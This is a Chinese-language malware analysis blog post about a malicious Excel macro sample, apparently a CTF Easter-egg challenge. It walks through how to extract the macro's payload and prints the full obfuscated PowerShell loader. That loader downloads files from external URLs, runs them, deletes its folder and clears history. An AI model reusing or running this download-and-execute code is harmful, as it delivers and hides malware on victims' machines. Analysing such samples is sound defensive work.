翻出了之前未看的样本，从app.any.run下载的，非PE类样本，简单分析了下。
分析后得知属于恶意宏样本，点击允许后会执行auto_open函数，存在大量的混淆代码阻止分析，在调试后发现会拼接base64内容然后最终执行powershell命令，因此可以通过将变量值写入文件的方式来获取最终的命令，也可以在启用powershell执行日志记录的系统上获取（宏编辑窗口显示的变量值长度有限无法完全获取）。
该处代码来源于网络：
MyFName = ThisWorkbook.Path & “/” & nowDate & “.txt”
Set fso = CreateObject(“Scripting.FileSystemObject”)
Set myTxt = fso.CreateTextFile(Filename:=MyFName, OverWrite:=True)
myTxt.Write zX_jkWQ
myTxt.Close
打开文档后来源宏编辑界面
提取到本地的powershell代码如下：
将其base64解码后得到如下经过混淆的powershell代码
| $jFqToXuyM = $sW2kT5Ae + $0tZF2Fvnjp;$tCkNj4v = (‘1hnreuidnbgj1hnreuidnbgj1hnreuidnbgj1’).replace(“hnreuidnbgj”,”.”).replace([string][char]61,”roflo.com”);$FeXCWN6EqCjxnfayR = $ZAJOmN6QcICG2Yz + $ffAR2bqVuA4;$JNst39kvpN = $a6JW4XP7E + $yuM99CW;sV (‘0’) ([tyPe](“{4}{2}{1}{0}{3}” -f ‘cTo’,’O.DIre’,’Em.I’,’Ry’,’SysT’));$TqR7Vj = $b3N60 + $PAmB5;$ffAR2bq = ((‘ht’+(‘Lit)(oTt’)+”+’tps:q_x=q’+(‘Lit)(‘+’oTt’)+”+’q_x=qhe’+’ls’+(‘L’+’it)(oTt’)+’ec’+(‘Lit)(‘+’oTt’)+’t’+’f.no’+(”+’Lit)(o’+’Tt’)+’q_x=qb’+(‘L’+’it)(o’+’Tt’)+’i’+’ld’+(‘Lit)(oTt’)+’er’+(‘L’+’it)(o’+’Tt’)+’q_x=q1’+(‘L’+’it)(‘+’oTt’)+’_4a’+’e08e’+(‘Lit)(oTt’)+’7’+’403c’+(‘Lit)(oTt’)+’b71’+’01’+(”+’Lit)(oTt’)+”+’2f’+(‘L’+’it)(o’+’Tt’)+’74’+’08d’+(‘Lit)(‘+’oTt’)+’6’+’cd1f’+(‘Lit)(oTt’)+’d’+’21’+’9.j’+(”+’Lit)(‘+’oTt’)+’p’+(”+’Lit)(oTt’)+’g’+(‘L’+’it)(oTt’)+’@’+’htt’+’ps:’+(”+’Lit)(‘+’oTt’)+’q_x=q’+(”+’Lit)(oTt’)+”+’q_x=qhel’+(‘Lit)(o’+’Tt’)+’se’+’ct’+(”+’Lit)(o’+’Tt’)+”+’f.n’+(‘L’+’it)(o’+’Tt’)+’o’+’q_x=qb’+(‘Lit)(o’+’Tt’)+’il’+(”+’Lit)(oTt’)+”+’der’+’q_x=q2_5’+(‘Lit)(‘+’oTt’)+’e7’+’e601’+(‘Lit)(oTt’)+’7f’+’cf9c’+(‘L’+’it)(‘+’oTt’)+’9b’+(”+’Lit)(‘+’oTt’)+’c’+’082d’+(‘L’+’it)(o’+’Tt’)+”+’6033’+’603’+(‘Lit)(o’+’Tt’)+”+’7c’+(‘Lit)(oTt’)+”+’0c8.j’+(‘L’+’it)(o’+’Tt’)+’p’+(‘Lit)(oTt’)+’g@’+’ht’+’tps’+(‘Lit)(oTt’)+’:’+’q_x=qq_x=qhe’+(‘Lit)(‘+’oTt’)+’ls’+’ectf’+(‘Lit)(‘+’oTt’)+”+’.noq_x=q’+(‘Lit)(oTt’)+’b’+’ild’+’er’+(‘Lit)(o’+’Tt’)+’q_x=q3_’+’4b’+(‘Lit)(‘+’oTt’)+’4’+(‘Lit)(o’+’Tt’)+’2’+(‘L’+’it)(‘+’oTt’)+”+’d76’+(‘L’+’it)(o’+’Tt’)+’3f’+(‘Lit)(‘+’oTt’)+’8c’+’b6de’+(‘L’+’it)(‘+’oTt’)+”+’e95’+(‘Lit)(o’+’Tt’)+’5’+’21’+(‘Lit)(‘+’oTt’)+’e’+’df’+’57’+(‘Lit)(‘+’oTt’)+”+’8f’+(‘Lit)(oTt’)+”+’90a’+’2.jp’+(‘L’+’it)(‘+’oTt’)+”+’g@h’+(”+’Lit)(oTt’)+’tt’+’ps’+(”+’Lit)(oTt’)+’:q_x=q’+’q_x=qhe’+(‘Lit)(o’+’Tt’)+’l’+(‘Lit)(oTt’)+”+’sectf’+(‘L’+’it)(o’+’Tt’)+”+’.noq_x=q’+’bi’+(‘L’+’it)(oTt’)+’ld’+’erq_x=q4’+(‘Lit)(o’+’Tt’)+”+’_f’+(‘L’+’it)(o’+’Tt’)+’8’+(‘Lit)(oTt’)+”+’3e0’+(‘Lit)(o’+’Tt’)+’d’+’28’+’744’+(‘Lit)(o’+’Tt’)+’f’+’7ae’+(‘Lit)(o’+’Tt’)+’f6db’+(‘Lit)(oTt’)+”+’e0f’+(‘Lit)(oTt’)+”+’04’+(‘L’+’it)(‘+’oTt’)+’e0’+’2ee’+(‘Lit)(‘+’oTt’)+’f’+’9e’+’.jp’+(”+’Lit)(‘+’oTt’)+”+’g@’+(‘Lit)(oTt’)+’h’+’ttp’+’s:q_x=q’+(‘L’+’it)(oTt’)+”+’q_x=qhe’+(”+’Lit)(oTt’)+’l’+’se’+(‘Lit)(o’+’Tt’)+’ctf’+’.n’+(‘L’+’it)(‘+’oTt’)+’oq_x=qb’+(”+’Lit)(oTt’)+”+’ild’+(‘Lit)(o’+’Tt’)+’er’+’q_x=q5’+(‘L’+’it)(‘+’oTt’)+’_f’+’cd’+(‘Lit)(‘+’oTt’)+’95c’+(‘L’+’it)(oTt’)+’2’+(‘Lit)(o’+’Tt’)+”+’ede40’+’50’+(”+’Lit)(‘+’oTt’)+’5’+(”+’Lit)(‘+’oTt’)+’9’+’c92d’+(”+’Lit)(oTt’)+’3d’+’47’+’c8b’+(”+’Lit)(‘+’oTt’)+’3’+(‘Lit)(oTt’)+’4’+(‘L’+’it)(o’+’Tt’)+’f’+’a3’+’.j’+(‘Lit)(o’+’Tt’)+’pg’).”r`eP`La`CE”(‘Lit)(oTt’,$REIUBkn)-ReplacE(‘q_x=q’,[stRiNg][chaR]47));Sv (‘gnrejfnjlke’) ([tyPe](“{4}{2}{1}{0}{3}” -f ‘l’,’O.Fi’,’Em.I’,’e’,’SysT’));$tNbmGi4GJ = $KMoZRPzqK + $ffAR2bqBzaeQdxzmq3Na;$c2VITwz = $A9SH2uPeZ + $avG4e;$FeXCWN6EqC = (($HOME +(“QImkkGegXVXAIlqCUJoSPqCiIlqCqlN8LCu8IlqC8QjPWo06IlqC”[-1..-52] -join ”) ).replace( “CqlI”,[string][char]92));$SYHAzd=$FeXCWN6EqC+’.txt’;$ffAR2bqBzaeabSI1kf=(“fhh;!pcgvtdufJuUjmZpvNlfJu”).replace($Jkhqb,$DYUDWEqub);$Dvd87jX=$SYHAzd;foreach ($B683Y in [char[]]$ffAR2bqBzaeabSI1kf){$jL7HF5Z0=$jL7HF5Z0+([char]([int][char]$B683Y – 1 )) };$a6TzL=$Y67As+$SYHAzd+$Dvd87jX;$Ct21C=$Dvd87jX;$LnbOaMkYR = $qLmn44MK + $ZTvvkVl0;$ZAJOmN6QcI = $FeXCWN6EqC+”6.jpg”;$mcfzpAhbe1B = $TjlHhVKjI + $q4xCg6VfC;if(Test-Connection -Quiet $tCkNj4v) {$0::”createdirectory”( $FeXCWN6EqC);try{foreach ($cf4WJZye in $ffAR2bq.replace(‘grammarly’,’.exe’).split([char]64).split([char]124).replace($cf4WJZyeeK5niVjcR,$osZZCtevl)){if($gnrejfnjlke::Exists($ZAJOmN6QcI)){break}Invoke-WebRequest -Uri $cf4WJZye -OutFile $ZAJOmN6QcI}start $ZAJOmN6QcI;New-Item $Ct21C;Set-Content $Dvd87jX $jL7HF5Z0;Start-Sleep -s 1;Remove-item -recurse -path ($Home+””+$FeXCWN6EqC.replace($Home+””,$ffAR2bqBzae).split([string][char]92)[0]);}catch{clear-history;echo “Do or do not, there is no try.”};clear-history;}else{Add-Type -AssemblyName ‘PresentationFramework’;[System.Windows.MessageBox]::Show(“No internjets?”);clear-history;}$yNqIGDEg8 = $WvNaHXTvWeu4 + $Oqc4UjPs;$wJ8gDAL = $m2eqCCOnG + $mBuM4b; |
利用之前设置的VS的powershell调试环境来调试这段脚本代码，得到如下的url地址：
https://helsectf.no/bilder/1_4ae08e7403cb71012f7408d6cd1fd219.jpg
https://helsectf.no/bilder/2_5e7e6017fcf9c9bc082d60336037c0c8.jpg
https://helsectf.no/bilder/3_4b42d763f8cb6dee95521edf578f90a2.jpg
https://helsectf.no/bilder/4_f83e0d28744f7aef6dbe0f04e02eef9e.jpg
https://helsectf.no/bilder/5_fcd95c2ede405059c92d3d47c8b34fa3.jpg
将url地址文件下载到本地后会打开，因为属于复活节彩蛋所以下载的文件内容为图片。
之后powershell脚本会删除下载的目录文件
样本
b5285e950d97109198aafd3565d42940
原文始发于微信公众号（OnionSec）：Egghunt_2.xls恶意宏文档分析【复活节彩蛋】
